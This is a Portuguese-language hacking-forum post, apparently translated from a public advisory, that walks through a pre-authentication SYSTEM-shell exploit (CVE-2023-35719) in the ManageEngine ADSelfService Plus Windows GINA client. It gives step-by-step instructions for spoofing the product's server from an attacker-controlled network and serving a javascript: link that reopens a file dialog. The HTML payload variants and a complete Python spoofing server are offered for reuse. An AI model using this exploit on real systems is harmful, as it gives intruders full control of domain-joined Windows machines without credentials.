COVIL HACKER

, ! .


» COVIL HACKER » Vulnerabilidades de rede » Artigo Elevação de privilégios para SYSTEM via ADSelfService na config


Artigo Elevação de privilégios para SYSTEM via ADSelfService na config

1 2 2

1

ManageEngine ADSelfService Plus fornece uma solução integrada para gerenciamento de senha de autoatendimento e logon único. Esta solução ajuda os usuários de domínio a executar a redefinição de senha de autoatendimento, desbloqueio de conta de autoatendimento, atualização de autoatendimento de informações pessoais de funcionários (como número de telefone celular e fotos) no Microsoft Windows Active Directory.

O ADSelfService Plus instala um agente local (complemento Windows GINA ) em computadores de domínio Windows gerenciados que podem ser usados ​​para redefinir as senhas de usuário do Active Directory diretamente da tela de login.

GINA
Biblioteca de vínculo dinâmico (DLL) para identificação gráfica e autenticação. GINA é uma DLL substituta que é carregada pelo executável Winlogon . A GINA implementa uma política de autenticação de modelo de login interativo e espera-se que lide com toda a identificação e autenticação de interação do usuário.

Esta vulnerabilidade permite que um invasor obtenha um shell de comando com privilégios de SISTEMA usando o método herdado clicando em
Procurar -> C:\Windows\System32\cmd.exe durante a pré-autenticação. 😎

Uma vulnerabilidade semelhante foi descoberta por Bhadresh Patel em 2020 e corrigida na versão 6.0 build 6003.

Esta vulnerabilidade foi confirmada para funcionar até a versão ADSelfService Plus4.2.9, versão de 2012 e até a versão mais recente 6.3 Build 6301no momento da redação (2023-06-23).

Tela de login do Windows:

https://forumupload.ru/uploads/001b/c9/09/2/t659687.png

https://forumupload.ru/uploads/001b/c9/09/2/t731895.png

Imagem #1: Tela de login do Windows com a GINA instalada

Se clicarmos em qualquer uma das opções nas caixas vermelhas acima, teremos a seguinte tela, que nos permite redefinir a senha do usuário do domínio:

https://forumupload.ru/uploads/001b/c9/09/2/t47889.png

https://forumupload.ru/uploads/001b/c9/09/2/t997324.png

Imagem nº 2: Redefinindo a senha de um usuário via GINA

Obviamente, isso funciona em uma janela do navegador incorporada. O que acontece se desconectarmos a rede e a GINA não conseguir acessar o servidor ADSelfService Plus?

https://forumupload.ru/uploads/001b/c9/09/2/t520657.png

https://forumupload.ru/uploads/001b/c9/09/2/t797360.png

Imagem nº 3: Não é possível acessar o controlador de domínio adselfpwnplus.com

O que acontece se clicarmos em "Pesquisar este site no Bing"

https://forumupload.ru/uploads/001b/c9/09/2/t323103.png

https://forumupload.ru/uploads/001b/c9/09/2/t889089.png

Imagem nº 4: Acesso negado à URL externa

Vamos voltar às técnicas de ouro do avô e tentar explorar um vetor de ataque simples: vá para o Bing, tente encontrar a caixa de diálogo para abrir o arquivo e apenas execute cmd.exe como SISTEMA!

Infelizmente, simplesmente não funciona dessa maneira. Uma janela pop-up aparece dizendo "Acesso ao URL externo negado.", e a janela é fechada. Nenhum dos atalhos de teclado do Internet Explorer funciona, então não podemos abrir caixas de diálogo, usar atalhos de teclado + CTRL, pressionar F, "Exibir fonte" etc. Mas observe que nosso dispositivo está tentando se comunicar com o servidor

na adselfservicepwn.comporta 8888.

Vamos conectar o computador a outra rede que controlamos, fora da rede de domínio normal. Existem muitas opções aqui, podemos conectar um cabo Ethernet ou simplesmente selecionar uma rede Wi-Fi que controlamos na tela de login. A conexão de rede (padrão) não é restrita na tela de login de pré-autenticação do Windows.

Ao conectar-se a uma rede que controlamos, podemos falsificar o servidor adselfpwnplus.come exibir a tela de redefinição de senha novamente.

Quando GINA tenta acessar o host adselfpwnplus.com, ele envia a seguinte solicitação GET:

GET /AgentStatusUpdate.cc?status=adssp_admin_gina_install_success&machineName=<MACHINE_NAME> &domainName=<DOMAIN_NAME>&version=5.9&defUser=ADSELFPWNPLUS\normaluser& HTTP/1.1

Vamos fornecer AgentStatusUpdate.cc em nosso servidor falso e enviar:


<html><body><b>HELLO GINA!

Funciona!

https://forumupload.ru/uploads/001b/c9/09/2/t195908.png

https://forumupload.ru/uploads/001b/c9/09/2/t412072.png

Imagem nº 5: renderizamos nosso código HTML

https://forumupload.ru/uploads/001b/c9/09/2/t153588.png

https://forumupload.ru/uploads/001b/c9/09/2/t897632.png

Imagem #6: As caixas de diálogo de arquivo foram removidas

Parece que algo removeu nossa caixa de diálogo de arquivo, deixando apenas a string hello. E isso acontece com quase todas as técnicas que você pode imaginar:

<a href="C:\windows\" /a> Windows </a>
<script>document.write('<input/type=file>')</script>
<input type="file" id="myfile" name="myfile">
<a href="mailto:me@mail.com"> </a>
<a href="file:///c:\"> </a>

O HTML renderizado renderizado na janela do navegador GINA incorporada possui algum tipo de lista negra de tags ou remove entradas de usuário potencialmente arriscadas. Mas foi encontrado um bom artigo "Give me a browser, I'll give you a Shell" de Rend , que diz:
(!) Se as ferramentas do desenvolvedor forem desativadas por qualquer motivo, você pode usar um protocolo interessante: javascript . Se o navegador for baseado no Chromium, você pode inserir isso na barra de URL e obter o resultado desejado:

javascript:document.write('<input/type=file>')

Vamos atualizar nosso código HTML:

<html><body><a href=\"javascript:document.write('<input/type=file>')\">Open up your GINA</a></body></html>

Como o navegador integrado é o Microsoft Edge (o navegador padrão no Windows 10) baseado no Chromium, obtemos um link clicável (NOTA: tentei isso no Windows 7 com o Internet Explorer 11 e funcionou também!):

https://forumupload.ru/uploads/001b/c9/09/2/t394910.png

https://forumupload.ru/uploads/001b/c9/09/2/t661469.png

Imagem #7: Nossa inscrição atraente.

Clicamos nele e FINALMENTE temos nosso diálogo de arquivo!

https://forumupload.ru/uploads/001b/c9/09/2/t243185.png

https://forumupload.ru/uploads/001b/c9/09/2/t626214.png

Imagem nº 8: A caixa de diálogo de abertura de arquivo que queríamos!

Agora a exploração é trivial: basta acessar C:\Windows\System32e encontrar cmd.exe:

https://forumupload.ru/uploads/001b/c9/09/2/t78255.png

https://forumupload.ru/uploads/001b/c9/09/2/t14550.png

Imagem #9: Clicando em cmd.exe

Clique com o botão direito, clique em "Abrir" e a GINA nos dá o shell do SISTEMA antes da autenticação!

https://forumupload.ru/uploads/001b/c9/09/2/t159954.png

https://forumupload.ru/uploads/001b/c9/09/2/t342801.png

Imagem nº 10: GINA, abre CMD.EXE para nós com privilégios de SISTEMA.

A propósito, as versões mais antigas do ADSelfService Plus NÃO bloqueiam as pesquisas do Bing ou bloqueiam as caixas de diálogo do arquivo HTML, fornecendo mais duas maneiras de obter nosso shell . Isso é confirmado pelo trabalho pelo menos na versão v4.2.9.

Conclusões dos autores:
Listas negras não funcionam.
É muito difícil proteger navegadores integrados no sistema operacional Windows.
ManageEngine (desenvolvedores do ADSelfService Plus) é um monte de merda que tem sido constantemente hackeado desde pelo menos 2014.
Ao longo dos anos, vários outros pesquisadores também descobriram vulnerabilidades críticas em produtos ManageEngine.

https://youtu.be/u1H8PiOPIKU

O vídeo mais legal demonstrando a exploração da vulnerabilidade.

Não tenho dúvidas de que você pode escrever seu código para exploração, mas se de repente hoje não for o dia de Beckham, mantenha o código em python

#!/usr/bin/env python3
#
# Python HTTP server for exploiting CVE-2023-35719 / ZDI-23-891
# Auth Bypass to SYSTEM shell in ManageEngine ADSelfService Plus Windows GINA Client
# https://github.com/pedrib/PoC/blob/mast … pwnplus.md
#
# By:
#
# Pedro Ribeiro (pedrib@gmail.com|@pedrib1337)
# João Bigotte
# Ashley King
#
# Agile Information Security (https://agileinfosec.co.uk)

from http.server import BaseHTTPRequestHandler, HTTPServer

# HTTPRequestHandler class
class CustomRequestHandler(BaseHTTPRequestHandler):

  # GET
  def do_GET(self):
        # Send response status code
        self.send_response(200)

        # Send headers
        self.send_header('Content-type','text/html')
        self.end_headers()

        # Send message back to client
        message = "<html><body><a href=\"javascript:document.write('<input/type=file>')\">Open up your GINA</a></body></html>"

        # Write content as utf-8 data
        self.wfile.write(bytes(message, "utf8"))
        print("done")
        return

def run():
  print('starting server...')

  # enter your listening address and port here for the ADSelfService Plus server spoof
  # do not forget to add a dns entry for your domain name to point to this IP
  server_address = ('13.33.37.1', 8888)
  httpd = HTTPServer(server_address, CustomRequestHandler)
  print('running server...')
  httpd.serve_forever()

run()

0

2


» COVIL HACKER » Vulnerabilidades de rede » Artigo Elevação de privilégios para SYSTEM via ADSelfService na config


|